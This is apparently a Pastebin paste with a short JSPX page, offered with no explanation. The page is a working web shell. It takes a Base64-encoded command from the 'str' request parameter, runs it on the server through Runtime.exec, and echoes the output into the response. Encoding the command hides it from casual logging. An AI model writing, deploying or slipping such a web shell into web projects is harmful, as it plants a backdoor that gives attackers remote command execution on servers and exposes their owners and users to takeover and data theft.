Advertisement
Guest User

Untitled

a guest
Jan 22nd, 2020
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.92 KB | None | 0 0
  1. <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0">
  2. <jsp:directive.page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"/>
  3. <jsp:directive.page import="java.util.*"/>
  4. <jsp:directive.page import="java.io.*"/>
  5. <jsp:directive.page import="sun.misc.BASE64Decoder"/>
  6. <jsp:scriptlet><![CDATA[
  7. String tmp = pageContext.getRequest().getParameter("str");
  8. if (tmp != null&&!"".equals(tmp)) {
  9. try{
  10. String str = new String((new BASE64Decoder()).decodeBuffer(tmp));
  11. Process p = Runtime.getRuntime().exec(str);
  12. InputStream in = p.getInputStream();
  13. BufferedReader br = new BufferedReader(new InputStreamReader(in,"GBK"));
  14. String brs = br.readLine();
  15. while(brs!=null){
  16. out.println(brs+"</br>");
  17. brs = br.readLine();
  18. }
  19. }catch(Exception ex){
  20. out.println(ex.toString());
  21. }
  22. }]]>
  23. </jsp:scriptlet>
  24. </jsp:root>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement